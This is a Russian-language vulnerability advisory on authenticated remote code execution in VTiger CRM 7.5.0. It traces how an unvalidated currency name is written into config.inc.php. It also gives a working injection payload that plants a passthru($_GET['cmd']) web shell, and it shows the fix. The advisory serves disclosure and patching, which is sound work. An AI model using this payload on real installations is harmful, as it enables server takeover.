
Аутентифицированное удаленное выполнение кода в VTiger Open Source CRM v7.5
Удаленное выполнение кода аутентифицированным пользователем в VTiger Open Source CRM v7.5
Уязвимость существует в модуле Users в текущем выпуске VTiger CRM Open Source версии 7.5.0, которая позволяет аутентифицированному злоумышленнику записать и выполнить произвольный PHP-код в config.inc.php.
Когда пользователь аутентифицируется в VTiger обычным образом, система проверяет его статус настройки, чтобы определить, является ли он новым пользователем, который еще не полностью настроен. Также проверяется, является ли он первым пользователем, то есть администратором, который должен настроить определенные глобальные свойства. Если это так, он перенаправляется на действие UserSetup в модуле Users.
$userSetupStatus = Users_CRMSetup::getUserSetupStatus($focus->id);
if ($userSetupStatus) {
$user = $focus->retrieve_entity_info($focus->id, 'Users');
$isFirstUser = Users_CRMSetup::isFirstUser($user);
if($isFirstUser) {
header('Location: index.php?module=Users&action=UserSetup');
}
/modules/Users/Authenticate.php, line 112
В этом действии есть проверка, прошел ли пользователь глобальную настройку валюты (по умолчанию «USA, Dollars») и сохраняет ее с помощью функции updateBaseCurrency.
//Handling the System Setup
$currencyName = $request->get('currency_name');
if(!empty($currencyName)) $userModuleModel->updateBaseCurrency($currencyName);
$userModuleModel->insertEntryIntoCRMSetup($userRecordModel->getId());
//End
/modules/Users/actions/UserSetupSave.php, line 28
В функции updateBaseCurrency предоставленное значение устанавливается как глобальная настройка валюты для всей системы в базе данных, и она также вызывает функцию updateConfigFile, которая открывает файл конфигурации и использует PHP str_replace для замены существующего значения на предоставленное.
public function updateConfigFile($currencyName) {
$currencyName = '$currency_name = \''.$currencyName.'\'';
//Updating in config inc file
$filename = 'config.inc.php';
if (file_exists($filename)) {
$contents = file_get_contents($filename);
$currentBaseCurrenyName = $this->getBaseCurrencyName();
$contents = str_replace('$currency_name =
\''.$currentBaseCurrenyName.'\'', $currencyName, $contents);
file_put_contents($filename, $contents);
}
}
/modules/Users/models/Module.php, line 148
Действие настройки пользователя в текущей версии VTiger CRM не проверяет, настроен ли пользователь на самом деле или имеет ли он разрешение на изменение глобальных переменных. Оно просто предполагает, что если вы обращаетесь к этой странице, то вы тот человек, который должен ее настраивать. Таким образом, используя существующий файл cookie сессии и CSRF-токен, взятый с любой аутентифицированной загрузки страницы, злоумышленник может отправить POST-запрос со значением валюты, например:
USA, Dollars';@passthru($_GET['cmd']);//
Это значение затем слепо записывается в файл config.inc.php как:
//Master currency name
$currency_name = 'USA, Dollars';@passthru($_GET['cmd']);//';
Поскольку файл конфигурации загружается на каждой странице, злоумышленник может просто передать команду unix в качестве параметра cmd и увидеть вывод в верхней части страницы.

Эта проблема была исправлена в этом коммите, где была добавлена дополнительная проверка, чтобы гарантировать, что пользователи не смогут ввести вредоносные названия валют, и значение будет браться из таблицы базы данных.
public function updateBaseCurrency($currencyName) {
$db = PearDatabase::getInstance();
$result = $db->pquery('SELECT currency_code, currency_symbol, currency_name FROM vtiger_currencies WHERE currency_name = ?', array($currencyName));
$num_rows = $db->num_rows($result);
if ($num_rows > 0) {
$currency_code = decode_html($db->query_result($result, 0, 'currency_code'));
$currency_symbol = decode_html($db->query_result($result, 0,'currency_symbol'));
$currencyName = decode_html($db->query_result($result, 0, 'currency_name')); // rewrite actual from table.
} else {
// Invalid currency name.
return;
}
$this->updateConfigFile($currencyName);
//Updating Database
$query = 'UPDATE vtiger_currency_info SET currency_name = ?, currency_code = ?, currency_symbol = ? WHERE id = ?';
$params = array($currencyName, $currency_code, $currency_symbol, '1');
$db->pquery($query, $params);
}